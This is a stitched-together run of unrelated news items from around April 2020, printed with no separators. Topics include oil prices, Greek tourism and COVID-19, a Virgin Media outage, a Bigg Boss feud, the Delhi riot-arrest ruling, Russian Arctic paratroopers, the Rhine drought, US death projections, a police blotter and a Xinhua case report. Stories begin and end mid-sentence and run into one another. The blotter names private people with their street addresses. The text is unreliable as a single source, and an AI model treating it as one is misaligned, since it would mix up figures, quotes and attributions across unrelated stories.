per barrel, lower by 3.90 per cent from its previous close. The fall in Brent prices augurs well for India as it comprises over 25 per cent of India's imports. Rest of the Indian basket includes crude from the Gulf region, Oman, also, some crude is imported from Venezuela and nominal amount from the US. In this article .ATG Santorini, Greece Santi Visalli Optimism had just returned to Greece after 10 years of severe financial difficulty, some civil unrest and gloomy economic prospects. But the global pandemic is now making Greeks even more concerned about their futures. "I do expect to be(come) unemployed," Vassilis, a 34-year-old Greek citizen who preferred not to give his surname, told CNBC Monday. He has worked in the tourism sector for 11 years, and in the past three his job involved showing international visitors some of the hidden gems of Athens. He said the food tour, which took people to some of the outdoor markets and local restaurants, was his most popular. "We were expecting to have the best season ever (this summer), more than last year's record numbers. So, it is only the virus," Vassilis said, explaining why he has fears for his career. "Even during the peak of the economic crisis, I did have a job," he said. Greece requested financial help 10 years ago, on April 2010. In the runup, different governments in Athens had borrowed above the country's capacity and its public debt pile became so high that investors were no longer willing to keep on financing the country's spending. That was just the beginning of a long and painful crisis. Greece had to endure in total three bailout programs with stringent austerity measures attached, which only ended in August of 2018. However, the economy has since shown signs of recovery. Gross domestic product hit 1.9% last year and the unemployment rate stood at 17.3% well below the 27.5% seen in 2013; according to data from Europe's statistics office. Greece currently stays closed to non-EU and EU tourism threatening a sharp recession for the indebted Greek economy. Athanasia Kokkinogeni Senior analyst at DuckerFrontier The ongoing coronavirus outbreak is about to reverse that modest recovery. The International Monetary Fund forecast a 10% contraction in GDP and an unemployment rate of 22.3% for Greece in 2020. "The Covid situation comes to derail the long-awaited recovery of the Greek economy," Athanasia Kokkinogeni, Europe senior analyst at the research firm DuckerFrontier, told CNBC via email. Greece was one of the quickest countries in Europe to impose strict lockdown measures to prevent the spread of the virus. Two U.K.-based health experts told CNBC this approach has contributed to the relatively low number of cases in the Mediterranean nation. However, the confinement measures have brought the tourism industry to a halt. "The tourism and travel industry contributes 21% to the Greek economy. Due to the pandemic, Greece currently stays closed to non-EU and EU tourism threatening a sharp recession for the indebted Greek economy and massive job losses in the tourism and services' sectors," Kokkinogeni said. Two police officers talk front of the Greek Parliament during the Coronavirus (Covid-19) pandemic in Athens, Greece on April 24, 2020. NurPhoto Without tourists, the industry is on pause. But with foreigners holidaying in Greece, the risk of new coronavirus cases increases. As a result, the Greek government wants to develop a common set of health procedures with other European nations to restore confidence among international visitors, while also protecting local workers. Tourism contributes between 10 and 11% of the total European GDP, employing 27 million people in direct and indirect jobs, mainly in Southern European countries. Speaking to European lawmakers last week, European Commissioner Thierry Breton said that as a result of Covid-19, the European tourism industry is "facing a clear risk of companies going out of businesses and jobs being lost." Greece is, as a result, aiming to reopen the sector in July. Most tourists visit the Mediterranean nation from March onward. The country has been in lockdown since March 23. The telecoms firm underwent a series of broadband outages across Ireland and the UK. Stock Image: PA Virgin Media says that its broadband outage across Ireland has been fixed, although it is declining to say what the technical issue was. The company also said that it will not consider compensation for the outages, as they were intermittent over a seven hour period. The company also said that it does not have compensation criteria. The telecoms firm underwent a series of broadband outages across Ireland and the UK yesterday. It has not explained what the technical issue was. However, it has denied that there was any connection to capacity or heavy usage conditions. Weve rolled out a solution that will prevent the issue from reoccurring and our teams are undergoing final checks to validate the resolution, a Virgin Media spokesman said. Broadband services were available for the majority of this period albeit once again we are very sorry for the intermittent interruptions. Yesterday, the companys business unit sent a notification to customers describing a nationwide services outage affecting all services including data, voice and mobile. The service had been disrupted since 5pm yesterday. Reports were logged in cities across the country, as well as in Belfast. Actors Paras Chhabra and Shehnaaz Gill were part of Bigg Boss 13 and spent several months together inside the house. Later, they were part of another show, Mujhse Shaadi Karoge. That doesnt necessarily mean they share a camaraderie. In a new interview to ETimes, Paras has said that he found Shehnaaz irritating and that he cant handle her. Speaking to ETimes, the model-turned-actor said how in the first few days in Bigg Boss house, he found Shehnaaz cute but soon his opinion changed. He was quoted as saying, I have not spoken to her after Mujhse Shaadi Karoge. I dont want to speak with Shehnaz. I am over and done with her kyunki aap usko thodi der jhel sakte ho (you can tolerate her only for a brief period of time) not more than that. Thodi der tak cute lagti hai (she appears cute for some time). I had understood this in the first week of BB13. People felt she was cute initially but became irritating. I cant handle Shehnaz. She didnt want to speak with anybody else than Sidharth, so we werent also interested in talking to her. Shehnaaz has been vocal about her affection for Sidharth Shukla while he has always maintained that she is a friend. After the completion of Bigg Boss 13, the two actors appeared on Mujhse Shaadi Karoge and reportedly things did not go well between them. They had many fights. He continued, After what I saw of Shehnaz in MSK uske andar ghamand aa gaya tha toh main samajh gaya tha ki ye apne aap ko sabse upar samajh rahi hai (she has become arrogant; thats when I understood that she thinks she is in a different league as compared to others) so there was no point talking to her. Also read: Ayushmann Khurrana and Kartik Aaryan refused Hungama 2, says Priyadarshan: Maybe they think Im outdated, dont like to beg actors Looks like he is particularly peeved about the manner in which her fans on social media trolled actor Devoleena Bhattarcharjee (another Bigg Boss 13 contestant) and how she reportedly did nothing to ask her fans from not doing so. It may be recalled that when the Sidharth and Shehnaazs first music video Bhula Dunga was out, Devoleena had said that there was no chemistry between the two. Reacting to trolls targetting Devoleena, Paras said, How her fans trolled Devoleena. Itan faltu kaise bol sakte ho (how can people talk such nonsense) then you are not stopping your fans too. How can you get that bad? Paras and Shehnaazs Mujhse Shaadi Karoge had to ended abruptly due to the coronavirus pandemic lockdown. Bigg Boss 13 was won by Sidharth with Asim Riaz being adjudged the first runners-up. Paras, Shehnaaz and Arti Singh were the other runners-up. Follow @htshowbiz for more Canberra/Wellington, April 28 : Australia and New Zealand, the two neighbouring countries with different strategies against the COVID-19 pandemic, on Tuesday began relaxing their social distancing measures following success in checking the spread of infections. The reopening of several beaches in Australia and the resumption of certain work activities in New Zealand were steps undertaken by these nations from Tuesday, after having recorded a significant drop in infections, reports Efe news. New Zealand, whose government claims to have won the battle against the novel coronavirus, from now on will permit a controlled resumption of 75 per cent economic and commercial activities. Some 400,000 workers returned to their workplaces and fast food outlets filled up for the first time since the New Zealand government declared maximum alert on March 26, considered one of the strictest lockdowns in the world. Schools will reopen on Wednesday for students unable to conduct their studies from a distance, although restrictions on social activities and physical distancing measures remain in force. New Zealand - with 1,124 confirmed cases of COVID-19, including 19 deaths - is aiming to completely eradicate the virus from its territory, which is home to about 5 million people. Prime Minister Jacinda Ardern underlined that despite the ease in restrictions, the fight against the coronavirus had not ended, and asked the people not to let their guard down. "We will have to keep stamping Covid out until there's a vaccine," said Ardern. The Australian government has progressively implemented more moderate measures compared to New Zealand since the end of March, such as allowing schools and daycare to function. Despite the differences in approach, Australia, with more than 24 million inhabitants, has also managed to flatten the curve at about the same time and has recorded 6,727 infections, including 85 deaths. "As a country we are not just flattening the curve but we are consolidating it, extending it and securing it," said Australian Health Minister Greg Hunt. The government led by Prime Minister Scott Morrison on Sunday launched an app to track COVID-19 cases, which combined with the reinforcement of the coronavirus testing system, looks to speed up the process of easing social distancing measures. At the moment many businesses are closed or their activities are restricted; gatherings of more than two people are not allowed, with some exceptions; and residents are recommended to stay at home unless exercising or visiting a doctor or making purchases. Although the central government, aided by the recommendations of the government medical team, lays down the major social distancing measures against the coronavirus, states and territories, as well as local governments have some prerogatives with respect to their implementation. In the case of New South Wales, whose capital is Sydney, the state government announced that starting Friday two adults, accompanied by an undetermined number of children, will be allowed to visit a home other than their own. The state of Western Australia has been allowing meetings of up to 10 people since Monday, while in Queensland family picnics will be permitted from next weekend onward. Moreover, the famous Bondi Beach in eastern Sydney, and two other nearby areas reopened Tuesday exclusively for water sports. Both New Zealand and Australia also considering resuming flights between them. Latest updates on Coronavirus (COVID-19) By PTI NEW DELHI: The Delhi High Court has directed that arrests in connection with the recent riots in the national capital, shall be done in accordance with the Supreme Court guidelines related to arrest and detention. The direction was issued by a bench of Justices Siddharth Mridul and Talwant Singh which also issued notice to the Centre, Delhi government and police seeking their stand on a plea alleging that arrests in connection with the riots were being made during the coronavirus or COVID-19 pandemic. READ| Umar Khalid, Jamia students booked under UAPA for northeast Delhi riots The plea, by an organisation of Islamic scholars called Jamiat Ulama-I-Hind, has contended that when the apex court had said there was a need to decongest jails in wake of coronavirus, the police was arresting people "on the pretext of investigation of offences related to the Delhi riots" earlier this year. The petition, filed through advocate Mohd Taiyab Khan, also contended that if left unchecked, the action of Delhi Police would "frustrate" the top court's order to decongest jails. The Centre, during the hearing conducted via video conferencing, told the bench that all the arrests made so far and those which would be made in future, shall be strictly in accordance with guidelines laid down by the Supreme Court. "Directed accordingly," the court said on Monday after noting the Centre's submission and listed the matter for further hearing on June 24. The bench also said that all the individuals who according to the petition have been arrested so far, "are at liberty to institute appropriate proceedings in accordance with law, including seeking regular bail. "The petitioner organisation has claimed in its plea that police "unilaterally and arbitrarily" arrested persons from their homes during lockdown without informing their families the reasons for arrest. The petition has sought that police officials be restrained from picking up or arresting persons in connection with the 2020 Delhi riots on the pretext of investigation and sending them to jail during the lockdown period. It has also sought that the investigation into the riots be put on hold till another plea moved by the organisation seeking an SIT probe into the violence is decided by the high court. The plea also seeks departmental action and contempt proceedings against concerned police officials who allegedly violated the guidelines laid down by the Supreme Court regarding arrest and detention of accused persons. Russian paratroopers wearing oxygen masks and white camouflage jumped 33,000ft out of a plane over the Arctic as part of a war games exercise. The paratroopers reportedly jumped from a height of 10,000 metres (32,808 feet) from an Ilyushin Il-76 strategic airlifter. The soldiers were wearing 'special parachute systems' and oxygen equipment and carried out combat training missions lasting three days after landing. Russian president Vladimir Putin has placed increasing importance on the Arctic region in recent years, as it is believed to hold up to one quarter of the Earth's undiscovered oil and gas. Russian paratroopers wearing oxygen masks and white camouflage jumped 33,000ft out of a plane over the Arctic as part of a war games exercise The soldiers were reportedly testing new equipment specially developed for extreme Arctic conditions, such as oxygen masks, parachute systems, and white camouflage uniforms The jump took place over the remote island of Aleksandra Land, the westernmost island in the archipelago of Franz Josef Land, where Russia's Arctic forces have built the country's northernmost military facility The Nagurskoye base boasts the latest equipment for Arctic military warfare, including snowmobiles, helicopters, radar systems, and anti-aircraft missile systems such as the S-300, aimed at strengthening control over Arctic air space Russia's deputy defence minister, Lieutenant General Yanus-Bek Yevkurov, said the combination of the jump and subsequent manoeuvres had never been carried out. He claimed: 'Today, for the first time in world history, we conducted a group landing of personnel with special parachute systems in Arctic conditions from a height of 10,000 meters using oxygen equipment followed by combat training missions. ' 'Nobody has done such a thing before us,' he added. The soldiers were reportedly testing new equipment specially developed for extreme Arctic conditions, such as oxygen masks, parachute systems, and white camouflage uniforms. The paratroopers reportedly jumped from a height of 10,000 metres (32,808 feet) from an Ilyushin Il-76 strategic airlifter The soldiers were wearing 'special parachute systems' and oxygen equipment and carried out combat training missions lasting three days after landing Russian president Vladimir Putin, pictured today, has placed increasing importance on the Arctic region in recent years, as it is believed to hold up to one quarter of the Earth's undiscovered oil and gas Russia's deputy defence minister, Lieutenant General Yanus-Bek Yevkurov, pictured, said the combination of the jump and subsequent manoeuvres had never been carried out He claimed: 'Today, for the first time in world history, we conducted a group landing of personnel with special parachute systems in Arctic conditions from a height of 10,000 meters using oxygen equipment followed by combat training missions.' The jump took place over the remote island of Aleksandra Land, the westernmost island in the archipelago of Franz Josef Land, where Russia's Arctic forces have built the country's northernmost military facility. It boasts a new 8,202ft-long (2,500metre) runway, according to reports. The Nagurskoye base boasts the latest equipment for Arctic military warfare, including snowmobiles, helicopters, radar systems, and anti-aircraft missile systems such as the S-300, aimed at strengthening control over Arctic air space. Russia is not alone in trying to assert jurisdiction over parts of the Arctic, as shrinking polar ice opens fresh opportunities for resource exploration and new shipping lanes. The United States, Canada, Denmark and Norway are jostling for position and China has also shown an increasing interest in the polar region. Russia, however, has made reaffirming its presence in the Arctic a top goal. President Putin has cited estimates that put the value of Arctic mineral riches at $30 trillion. Lieutenant general Yevkurov added: 'The natural conditions in the Arctic Circle are strikingly different from those in which most military exercises take place, but soldiers must be trained to operate in a wide variety of conditions.' The Russian ministry of defence said the team of paratroopers took part in war games after landing on the island. They included reconnaissance and search operations aimed at destroying the enemy. The exercises continued over three days with soldiers advancing to the collection point before returning to the Nagurskoye base. The Russian ministry of defence said the team of paratroopers took part in war games after landing on the island which included reconnaissance and search operations aimed at destroying the enemy The paratroopers wore camouflaged uniforms and carried white rifles It comes after Russia saw a record daily rise in coronavirus cases and deaths. The latest 6,411 cases - a new high, surpassing Sunday's 6,361 - bring the total number of infections from 87,147 to 93,558. The jump means that Russia overtakes Iran and China to move into eighth worldwide for the number of confirmed cases, although there are doubts over China's figures. Russia also recorded 72 new deaths today, passing the previous record of 66, taking the total death toll from 795 to 867. Russia's 147million people are scattered across 11 time zones and 85 regions, but Moscow has taken the worst hit with 48,426 cases by itself. The team jumped from a reported height of nearly 33,000ft After landing, the team carried out war game exercises for three days They included reconnaissance and search operations aimed at destroying the enemy The surrounding region has another 10,231 confirmed cases while St Petersburg has recorded 3,436. The Arctic region of Murmansk has also seen more than 1,000 cases, while Krasnoyarsk is the worst-hit part of Siberia with 888 positive tests. The government's figures also include the Crimean peninsula, which Moscow annexed in 2014 but which most countries do not recognise as part of Russia. Russia says it has carried out more than 3.1million tests across its territory, including nearly 120,000 in the last 24 hours. The country has been in lockdown since late March, and Vladimir Putin has yet to say whether this will be extended beyond the current expiry date of April 30. Putin is due to deliver a speech later on Tuesday, the Kremlin said. 'President Putin has a big speech planned, but I am not going to announce anything, let's wait until the meeting,' said official spokesman Dmitry Peskov. The lockdown is estimated to cost Russia 0.5 percentage points of its gross domestic product every week. This graph shows the rising daily number of coronavirus cases in Russia, which hit a new peak of 6,411 today to bring the total to 93,558 Germanys spring showers havent materialized this year, and thats drying out the countrys most important river, prompting concerns that key industrial goods might have trouble making it to their destination. Typically one of the wettest months, Europes biggest economy has received just 5% of its normal April rainfall so far, according to Germanys federal weather service. Its on course to be the driest month since records began in 1881. In addition to yellowing vegetation thats usually a lush green in this season, the dry spell has depressed water levels on the Rhine River, a conduit for barges delivering everything from steel to oil and coal to Germanys factories. The river is now at its lowest level for the end of April since 2011. If we dont get more normal rain in May, then were looking at another year of serious drought conditions, said Andreas Friedrich of Germanys DWD federal weather service. With its source high in the Swiss Alps, the Rhine snakes more than 800 miles (1,300 kilometers) and carries cargo barges through some of Europes most important industrial zones before greeting the North Sea at Rotterdam. A mix of glacial run-off and rain feeds the river, but contribution from glaciers has dwindled in recent years as summer melting out paces ice formation in winter. October 2018 saw rivers fall to just a few centimeters at a chokepoint near the village of Kaub, disrupting flows of fuels and goods to and from Germanys advanced manufacturing heartlands in the south. The impasse was severe enough to dent German economic growth and underline how even advanced economies are feeling the impact of climate change. Germanys transport ministry last year announced plans aimed at ensuring the Rhine stays navigable for industrial ships even as waters continue to fall year by year. The scheme includes new early warning systems and dredging of some of the shallowest parts of the river. Firms up and down the Rhine from Royal Dutch Shell Plc to BASF SE last year bought smaller boats, protectively booked truck and train capacity and crammed more supplies into warehouses, moved that could be repeated if Germanys drought persists. Waters at the Kaub bottleneck have fallen to 1 metre 15 centimetres, less than half the average water levels for this time of year. Officials at Switzerlands federal weather service said heatwaves in summer 2019 where temperatures rose over 25 degrees Celsius in mountainous zones will further have destroyed glaciers, meaning they cant be counted on to offset rain. While scientists are confident that glacial shrinkage stems from global warming, they dont yet link an intensifying rising trend of less rainfall in April to climate change, according to Germanys federal weather service. However, it is possible to suggest that the temperatures experienced across Europe this April have been enhanced due to global warming, and as warmer air can hold more moisture, that the evaporation rates have been increased, according to Simon Lee, climatologist at the University of Reading. We more commonly associate that effect with summertime heatwaves, he said. But the mechanism is the same, and as the growing season expands due to a warming climate, the impacts of these early-season warm spells may become more significant. Photograph: Oil tanker Erik Walther carries its cargo past Pfalzgrafenstein Castle on the River Rhine near Kaub, Germany, on Thursday, May 16, 2019. Photo credit: Alex Kraus/Bloomberg. Related: Copyright 2022 Bloomberg. Topics Europe Climate Change Germany Advertisement The US death toll from the coronavirus outbreak could reach 74,000 by August, according to a leading predictive model - as health experts warn fatalities will increase if states reopen too early. The University of Washington's Institute for Health Metrics and Evaluation model, often cited by White House officials, raised its COVID-19 death toll projections on Monday. The model now projects 74,073 Americans will die from the coronavirus by August 4, which is up from nearly 67,000 a week ago and 60,000 predicted two weeks ago. The latest figure is down from about a month ago when the model projected around 90,000 deaths related to coronavirus in the US. This model, along with several others cited by the Centers for Disease Control and Prevention, predict that reopening states too soon and relaxing social distancing measures will result in even more deaths. It comes as the US death toll reached more than 58,000 Tuesday while the number of infections increased to more than 1,026,000. IHME director Christopher Murray said the death toll would increase if states reopen their economies too early. The University of Washington's Institute for Health Metrics and Evaluation model projects 74,073 Americans will die from the coronavirus by August 4 The predicted peak day for daily COVID-19 deaths in the US appeared to be on April 15 when 2,698 deaths were recorded The IHME model predicts the peak of hospital use in the US occurred seven days ago on April 21 The model's increased projection is, in part, due to many states experiencing flatter and longer peaks. Daily deaths are not falling very quickly after the peak, which leads to longer tails for epidemic curves in many states, researchers say. Less abrupt peaks and slower declines in daily deaths after the peak could result in many states having a higher death toll, according to the model. The model indicates that seven states Hawaii, Mississippi, Texas, Wyoming, Utah, Nebraska, and North Dakota may be experiencing their peaks now or could be in the coming weeks. Other models, including the IHME, that are developed independently but cited by the Centers for Disease Control and Prevention also offer similar predictions for soaring death tolls depending on how much social distancing and contact reduction is practiced. All national-level forecasts indicate that deaths are likely to continue rising over the next four weeks, according to the CDC. The forecasts cited by the CDC track the number of COVID-19 death since February and show the estimated deaths across the US in the next month. All of the models assume that existing social distancing measures will continue, while the Columbia University models makes various assumptions on the effectiveness of current social distancing interventions. The CDC says that the models - like IHME - that incorporate strong social distancing measures suggest that new deaths will continue to occur but will slow substantially over the next four weeks, while models that don't incorporate such strong contact reductions - like the Columbia University ones - will see deaths rise more quickly. A MOBS model by Northwestern's Laboratory for the Modeling of Biological + Socio-technical Systems predicts that there could be nearly 34,000 unmitigated deaths by May 18. If mitigation measures are in place, the deaths could reach just over 600 by that same date. Meanwhile, a COVID-19 simulator tool developed by Massachusetts General Hospital and Georgia Tech University predicts that current restrictions being implemented in various states could see the US death toll reach about 86,000 fatalities by August 30. These forecasts cited by the CDC track the number of COVID-19 death since February and show the estimated deaths across the US in the next four four weeks. All of the models assume that existing social distancing measures will continue, while the Columbia University (CU) models makes various assumptions on the effectiveness of current social distancing interventions This MOBS model by the Laboratory for the Modeling of Biological + Socio-technical Systems predicts that there could be nearly 34,000 unmitigated deaths by May 18. If mitigation measures are in place, the deaths could reach just over 600 by that same date This COVID-19 simulator tool developed by Massachusetts General Hospital and Georgia Tech University predicts that current restrictions being implemented in various states could see the US death toll reach about 86,000 fatalities by August 30 The model estimates that even lifting restrictions gradually over the next month could result in 23,400 projected deaths by August 30 in Georgia In Texas, the model predicts deaths could reach 12,800 by August 30 if restrictions are lifted after four weeks of stay at home orders New COVID-19 simulator projects Georgia could see more than 23,000 deaths and Texas could reach 12,300 fatalities by the end of summer if they relax lockdown measures too soon A new COVID-19 simulator tool is projecting that Georgia could see more than 23,000 deaths by the end of summer if the state is found to have relaxed its coronavirus lockdown measures too soon. Georgia is among the fastest in the US to reopen its coronavirus-ravaged economy despite warnings from health experts of a potential surge in infections and disapproval from President Donald Trump. The model simulator, created by the Massachusetts General Hospital and Georgia Tech University, estimates that even lifting restrictions gradually over the next month could result in 23,400 projected deaths by August 30. Keeping current restrictions in place until July could contain the epidemic and could result in about 2,000 deaths, according to the model. If a more restrictive lockdown was initiated for four weeks, which would include bans on inter-state travel and local travel, the estimated deaths by August 30 would be 1,680, the model found. Meanwhile in Texas, the model predicts deaths could reach 12,800 by August 30 if restrictions are lifted after four weeks of stay at home orders. Those projected death would decrease to 1,180 if restrictions are lifted after three months. Texas partially reopened last week but the governor announced on Monday that state's stay-at-home order would expire April 30. The modeling predicts that current restrictions being implemented in various states could see the US death toll reach about 86,000 fatalities by the end of the summer. THE US STATES REOPENING: Montana: From May 4 Missouri: May 4 Ohio: From May 1 Iowa: May 1 Alabama: From April 30 Minnesota: From April 27 Mississippi: From April 27 Tennessee: From April 27 Colorado: From April 27 Alaska: From April 24 Georgia: From April 24 Oklahoma: From April 24 South Carolina: From April 20 Texas: From April 20 Advertisement Multiple states have now eased lockdown restrictions to kickstart their economies amid the pandemic. Even more states are ready to follow. Stay-at-home orders issued by governors across the United States and subsequent decisions to slowly reopen state economies have turned into highly charged political issues in recent weeks as the shutdowns have hammered the nation's economy. Alabama, Ohio, Missouri, Iowa, Minnesota and Mississippi are the latest to partially lift coronavirus lockdown measures. Colorado, Montana, Tennessee, Georgia, Oklahoma, Alaska and South Carolina have all restarted their economies following weeks of mandatory lockdowns that have thrown millions of American workers out of their jobs. Texas partially reopened last week but the governor announced on Monday that state's stay-at-home order would expire April 30. It comes despite warnings from health experts that increasing human interactions and economic activity too soon may spark a new surge of infections. Georgia started letting residents dine at restaurants and watch movies at theaters on Monday as more states from Minnesota to Mississippi took steps to ease coronavirus restrictions even though health experts warned it may be too early. Keen to revive their battered economies, Colorado, Montana and Tennessee were also set to reopen some businesses. Alaska, Oklahoma and South Carolina, along with Georgia, previously took such steps following weeks of mandatory lockdowns that threw millions of Americans out of work. Business shutdowns have led to a record 26.5 million Americans filing for unemployment benefits since mid-March with forecasts by the Trump administration that the jobless rate would likely hit 16% or more in April. Public health authorities warn that increasing human interactions and economic activity may spark a fresh surge of infections just as social-distancing measures appeared to be bringing coronavirus cases under control. It comes as a COVID19 mobility trends tool created by Apple shows that an increasing number of people in various major cities are now leaving the house more compared to the beginning of the month. In Philadelphia, 20 percent more people were out walking on the weekend compared to the beginning of April. New York has seen a 10 percent increase in the number of people walking, while Detroit has seen a 19 percent increase. In Atlanta - where lockdown restrictions were partially lifted last week - there has been a 22 percent increase in people out walking compared to the beginning of the month. The majority of Americans - about 95 percent - have been under stay-at-home orders for several weeks now in a bid to reduce the spread of the coronavirus. Meanwhile, an analysis of smartphone data from the University of Maryland has shown that the nationwide social distancing index has dropped three percent, which equates to millions of people leaving their homes. According to the university's data, 44 out of 50 states are going backwards in terms of social distancing. The largest shifts have been in the south with Louisiana, North Carolina, South Carolina and Tennessee among the worst offenders. A person exercises at Bronte Beach on April 28 in Sydney, Australia, where social distancing rules are still in place. South Australia on Track for Zero Virus Cases South Australia (SA) has now gone five days with zero new cases of the CCP virusa milestone since the outbreak began. The state has had a total of 438 cases, and health officials said 95 percent of these cases have recovered with just 20 active cases remaining. A 68-year-old man and a 75-year-old man, remain in a critical condition. Well done South Australians, Chief Public Health Officer Nicola Spurrier told reporters on April 27. These results prompted SA authorities to lift some community and social gathering restrictions, joining Queensland, Western Australia, Victoria, and New South Wales. However, the states chief public health officer cautioned against South Australians taking their foot off the breaks just yet. We need to do this in a very staged and sensible way, looking at the evidence from around the world, she said. SAs restrictions werent as severe as many of the other states. They did not close schools, beaches, national parks, nor limit gatherings to ten people. Travel to regional areas was also not banned like in NSW and WA. Spurrier said SA will start by easing restrictions for outdoor activities, then indoors, which are harder to monitor. To continue down this path of zero cases, there is still some time to go before restaurants and bars can reopen. The silver lining is that those restrictions, like social distancing and increased personal hygiene, have suppressed the number of flu cases as the nation prepares to enter flu season. Health Minister Stephen Wade said there was an 80 percent decrease in flu cases compared to the same time last year. Although the numbers were promising, he cautioned that a second wave of COVID-19 in the middle of a flu season would be very risky. April has also been the slowest month for the SA Ambulance Service this year, which has experienced a drop in demand. Jacksonville Police ARRESTS, CITATIONS Sidney R. Bondi, 27, of 10 Greenbriar Drive, Apt. 3C, was arrested at 6:43 a.m. Monday on a charge of criminal trespass to real property related to investigations from Friday and March 13. Rebecca R. DeGroot, 37, of 621 E. State St. was arrested at 11:45 a.m. Sunday on a charge of possession of methamphetamine after police were called to a suspicious person at a business in the 1700 block of West Morton Avenue. The investigation also resulted in Morris E. Chrisman, 44, of 435 S. East St. being cited on a charge of possession of drug paraphernalia. He was given a notice to appear in court. Bradley M. Hayes, 42, of 1005 N. Fayette St. was cited on a city ordinance violation for disturbing the peace at 8:06 p.m. Sunday after police said he was playing music too loud. He was charged with disorderly conduct about two hours later after being accused of screaming obscenities and trying to incite a neighbor to fight. Corey M. Hardwick, 29, and Sandra M. Hardwick, 46, both of 738 N. East St., were cited on city ordinance violations for disturbing the peace after a minor accident at 11:08 p.m. Sunday in the parking lot of Circle K gas station at 238 E. Morton Ave. Police had been called when a car being driven by Corey Hardwick rolled into the rear of a car being driven by Kelssie A. Wyatt, 24, of Jacksonville and a dispute arose, according to police reports. ACCIDENTS Ronnet L. Crawford, 80, of Chapin was cited on a charge of improper lane use after his car crossed the center line in the 800 block of West College Avenue at 3:24 p.m. Monday and collided with a car being driven by Andrew T. Crawford, 57, of Jacksonville. Angel J. Gettings, 27, of Roodhouse was cited on a charge of not having a valid drivers license after the vehicle she was driving in the drive-through of McDonalds at 520 W. Morton Ave. rolled in reverse and hit the bumper of the car behind it, which was being driven by Moana S. Lou, 31, of Jacksonville at 7:51 p.m. Sunday. Gettings told police she took her foot off the brake while reaching for food. BURGLARIES, THEFTS Medical supplies that included gloves, face masks and gauze were taken overnight from two vehicles parked in the 700 block of East Douglas Avenue, according to a report filed at 1:31 p.m. Sunday. VANDALISM Someone threw a brick through the window of a residence in the 500 block of North Webster Avenue at 12:24 a.m. Monday. OTHER REPORTS An unidentified man was issued a letter of no trespass barring him from returning to a West Walnut Street business after staying inside its restroom for about two hours Sunday. The man went into the restroom about 9:30 a.m. An employee could hear water running and called police because the man was still inside. Officers determined the man was not in need of medical assistance and made him leave. Pike County State police ARRESTS, CITATIONS A Franklin man was cited on several charges after being injured when his car hit a deer Sunday. Mario Andino, 44, of Franklin was eastbound on Illinois Route 104 near 335th Avenue at 9:19 p.m. Sunday when a deer ran in front of the vehicle, according to a preliminary report by Illinois State Police. He suffered minor injuries. Andino was cited on charges of driving under the influence, failing to wear a seat belt and having no valid insurance, according to police. Compiled by David C.L. Bauer Internships in D.C. 04/27/2020 Juniors Tajah Upshaw and Sienna Sullivan in Washington D.C. Juniors gain experience with Attorney General, Public Defender Service of D.C. Juniors Sienna Sullivan and Tajah Upshaw recently returned from a semester-long cross-cultural experience at the Washington Community Scholars Center (WCSC) in Washington, D.C., which was cut short due to the COVID-19 outbreak. However, they both remain extremely grateful for the experience. WCSC gives students the opportunity to live and learn with peers from other universities while taking classes administered by Eastern Mennonite University faculty. Participants also complete a 20-hour-per-week internship in a field of their interest or major. Sullivan, a criminal justice major and psychology and political science minor from Columbus, Ohio, spent her time in D.C. as an intern at the Office of the Attorney General for the District of Columbia. Being deeply interested in criminal justice and having a passion for the justice systemit only made sense to go to the heart of our justice system by going to the heart of our nation, said Sullivan. I love D.C. and have an interest in going to law school there, so I wanted to have a taste of it for a few months to see if this was something I want to do in the future. The internship was Sullivans favorite part of her time in D.C., and she was able to gain hands on experience and courtroom exposure every day. She credits Bluffton for preparing her well for the internship. Bluffton provided me with the background knowledge of law and legal understanding that was essential to my internship, explained Sullivan. I am very thankful Bluffton set me up for success. Upshaws internship was a highlight for her, as well. She spent time working as an intern investigator for the Public Defender Service for the District of Columbia, which provides legal representation to indigent adults and children in D.C. I was assigned to the trial division, and worked with two attorneys, a staff investigator, and two intern partners. The interns were responsible for various investigative tasks including serving subpoenas, watching police body-worn camera footage, locating and interviewing witnesses, canvassing neighborhoods, testifying in court, photographing, measuring and diagramming crime scenes, and assisting our attorneys with case development, said Upshaw. Ive been very interested in investigation, so it was a dream come true to be a mini-investigator for half a semester! Upshaw, a criminal justice major and psychology minor from Lima, Ohio, states the most challenging part was having the experience cut short. As a commuter student, it took time to adjust to being eight hours away from friends and family, but eventually, Upshaw felt too busy to miss home. In the beginning, the most challenging part of my WCSC experience was being away from home. Ultimately, to handle this challenge I stayed strong, busy and focused on what I came to D.C. to accomplish, said Upshaw. I didnt get to leave on my own terms, so it was a struggle to find peace and closure with my experience. I just have to look at all the valuable knowledge, relationships, adventures and new experiences I did gain while I was in D.C. To the Editor: In the next day or two, we will encounter a terrible coincidence. The American death toll from Covid-19 will surpass the total number of Americans killed in Vietnam, officially listed as 58,220. This Thursday also marks the 45th anniversary of the fall of Saigon, the ignominious end to our war in Vietnam. I remember that day since I was a New York Times correspondent in Saigon at the time and was evacuated by helicopter. It now seems likely that these two great tragedies will be linked by something fundamental about presidential leadership. The historical record shows that Lyndon Johnson decided to commit U.S. forces in Vietnam even though he had been warned that the war was not winnable, and Richard Nixon continued the bombing there despite similar advice against it. Donald Trump ignored warnings from his own intelligence agencies about the coronavirus months ago and did little to prepare the country. Johnson and Nixon both tried to overpower facts by bending them to their will. Now Donald Trump has chosen to go down the same fateful road with oddly synchronous numbers of deaths so far. Source: Xinhua| 2020-04-28 10:20:53|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- Chinese health authority said Tuesday that it received reports of six new confirmed COVID-19 cases on the Chinese mainland Monday, of which three were imported. The other three new cases were domestically transmitted in Heilongjiang Province, the National Health Commission said in a daily report. One suspected case arriving from overseas was reported in Shanghai. No deaths were reported Monday on the mainland, according to the commission. Altogether 81 patients were discharged from hospitals after recovery Monday, while the number of severe cases dropped by two to 50. As of Monday, the overall confirmed cases on the mainland had reached 82,836, including 648 patients who were still being treated and 77,555 people who had been discharged after recovery, the commission said. Altogether 4,633 people had died of the disease, it said. By Monday, the mainland had reported a total of 1,639 imported cases. Of the cases, 1,087 had been discharged from hospitals after recovery, and 552 were being treated with 21 in severe conditions. No deaths from the imported cases had been reported. The commission said that nine people, including six from abroad, were still suspected of being infected with the virus. According to the commission, 8,014 close contacts were still under medical observation after 915 people were discharged from medical observation on Monday. Also on Monday, 40 new asymptomatic cases, including three from abroad, were reported on the mainland. No asymptomatic cases were re-categorized as confirmed cases, and 17 people, four of whom were from abroad, were discharged from medical observation, according to the commission. The commission said 997 asymptomatic cases, including 130 from abroad, were still under medical observation. By Monday, 1,037 confirmed cases including four deaths had been reported in the Hong Kong Special Administrative Region (SAR), 45 